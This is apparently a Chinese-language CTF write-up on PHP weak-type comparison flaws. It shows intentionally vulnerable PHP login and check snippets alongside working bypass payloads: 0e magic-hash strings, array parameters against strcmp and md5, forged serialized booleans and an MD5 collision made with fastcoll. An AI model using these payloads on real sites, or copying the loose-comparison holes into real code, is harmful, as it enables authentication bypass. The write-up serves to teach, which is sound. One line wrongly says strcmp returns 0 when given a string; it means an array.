Contents
  1. 1. == 弱类型比较缺陷
  2. 2. 弱类型绕过switch
  3. 3. 弱类型绕过md5 hash比较缺陷
  4. 4. 弱类型绕过json数据比较
  5. 5. 弱类型绕过array_search
  6. 6. 弱类型绕过序列化数据比较
  7. 7. 数组绕过strcmp函数
  8. 8. 数组绕过md5、sha1、base64_decode
  9. 9. 使用md5碰撞绕过强制类型转换后的强类型比较
  10. 10. 参考资料

CTF中遇到过的弱类型及强类型绕过

== 弱类型比较缺陷

=====

===强类型比较 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较

== 弱类型比较在进行比较的时候,会将字符转化为相同类型,再进行比较(如果比较涉及数字内容的字符串,则字符串会被转换成数值并且按照转化后的数值进行比较)

1
2
var_dump("admin"==0); //true
var_dump("1admin"== 1); //true

字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值则为0。

1
var_dump("admin1"==0) //true

当字符串的开始没有以合法的数值开始,在进行判断时,其值为0

1
var_dump("0e123456"=="0e99999"); //true

在进行弱类型比较时,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等

1
$test=1+"-1.3e3"; //$test=-1299(float)

当字符串当作数值来取值时,如果字符串中包含.eE或者数值超过整型范围内时,被当作float来取值,如果没有包含上述字符且在整形范围内,则该字符串会当作int来取值

1
2
var_dump("admin"== true); //true
var_dump(123.456==true);//true

bool类型的true可以跟任意字符串和任意数值弱类型相等

QCTF->Lottery

1568906616975

看到git马上联想到git源码泄露

1568906681169

用Githack下载下来

下载下来,代码审计api.php发现弱类型比较

1568906811669

构造payload

1568906873418

1568906991828

赢钱啦

多来几次,然后直接买

1568907118985

弱类型绕过switch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo 'flag{xxxxxx}'; //结果输出success;
break;
default:
echo "failall";
break;
}
?>

这里同样利用php弱类型原理,$a="4admin"在进行弱类型比较时会截取前面的4作为字符串的数值,正好可以匹配到case 4,输出flag{xxxxx}

弱类型绕过md5 hash比较缺陷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];
if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>

这里if (md5($Username) != md5($password)) {$logined = false;}如果是md5是0e开头的就可以绕过,例如md5('240610708') == md5('QNKCDZO')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

1568905410910

弱类型绕过json数据比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>

这里同样0和任意字符进行弱类型比较都相等,所以构造payloadmessage={"key":0}

1568905989810

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>

https://www.php.net/array_search

1
array_search ( mixed $needle , array $haystack [, bool $strict = false ] ) : mixed

根据php手册,如果可选的第三个参数 strictTRUE,则
array_search() 将在 haystack
中检查完全相同的元素。
这意味着同样严格比较 haystackneedle类型,并且对象需是同一个实例。

也就是说当为False时存在弱类型的漏洞,而当其为True时,则不存在此漏洞

以上题目采用test[]=0可以绕过

1568957863791

弱类型绕过序列化数据比较

http://ctf5.shiyanbar.com/10/web1/

天网系统

右击查看源代码

1
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->

username中输入md5值为0e开头的字符串QNKCDZO

出现/user.php?fame=hjkleffifer

访问获得以下源码

1
2
3
4
5
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
print_r($flag);
} 伟大的科学家php方言道:成也布尔,败也布尔。 回去吧骚年

从源码可以看出反序列化后存在php弱类型比较,可以通过true来进行绕过

1
2
3
4
5
6
7
<?php
$array = [
"user" => true,
"pass" => true,
];
echo serialize($array);
?>

使用上述代码生成序列化字符串

1
a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

QNKCDZO填入username框中,将序列化字符串填入password框中,成功出现flag

1568989112589

数组绕过strcmp函数

strcmp绕过 php >5.3

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$password="***************";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}
}
?>

通过查看php手册可以看到

1
strcmp ( string $str1 , string $str2 ) : int

如果 str1 小于str2 返回 < 0;
如果 str1大于 str2返回 > 0;

如果两者相等,返回 0。

当php版本大于5.3时,strcmp函数传入字符串会爆出Warning错误,并且返回值为0

此时这里可以构造payload password[]=1

1568989770013

数组绕过md5、sha1、base64_decode

利用情景

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
show_source(__FILE__);
$tmp1 = $_POST['tmp1'];
$tmp2 = $_POST['tmp2'];
if(isset($tmp1) && isset($tmp2) && $tmp1 !== $tmp2 )
{
die("Error");
}
if(md5($tmp1)==md5($tmp2) && sha1($tmp1)==sha1($tmp2)&&base64_decode($tmp1) == base64_decode($tmp2))
{
echo "successful";
}
?>

md5()sha1()base64_decode()只能处理传入的字符串数据,当传入数组后会报出Warning错误但是仍然会正常运行并返回值,当==左右两边都错误时,并且正常运行返回相同的值,就可以是判定条件成立。

1568991179209

实际上这里换成===强类型判断结果也是一样的

1568991297615

使用md5碰撞绕过强制类型转换后的强类型比较

1
2
3
4
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!);
}

在强类型比较的基础上,把比较类型的转成字符串,这样数组绕过就不能用了,这里可以通过md5碰撞去生成两个字符串内容不同,md5相同的文件。

使用fastcoll工具来进行md5碰撞攻击

1
fastcoll_v1.0.0.5.exe -p .\a.bin -o a1.bin a2.bin

用python来进行读取然后进行url编码

1
2
3
4
5
6
7
8
#coding=utf-8
import urllib.parse
f1 = open("a1.bin","rb").read()
f2 = open("a2.bin","rb").read()
s1 = urllib.parse.quote(f1)
s2 = urllib.parse.quote(f2)
print(s1)
print(s2)

1568994633570

将其用post传参,成功绕过

1568994678783

参考资料

1
2
3
https://www.cnblogs.com/Mrsm1th/p/6745532.html
https://www.cnblogs.com/RenoStudio/p/10541885.html
http://www.zeroplace.cn/article.asp?id=886
Contents
  1. 1. == 弱类型比较缺陷
  2. 2. 弱类型绕过switch
  3. 3. 弱类型绕过md5 hash比较缺陷
  4. 4. 弱类型绕过json数据比较
  5. 5. 弱类型绕过array_search
  6. 6. 弱类型绕过序列化数据比较
  7. 7. 数组绕过strcmp函数
  8. 8. 数组绕过md5、sha1、base64_decode
  9. 9. 使用md5碰撞绕过强制类型转换后的强类型比较
  10. 10. 参考资料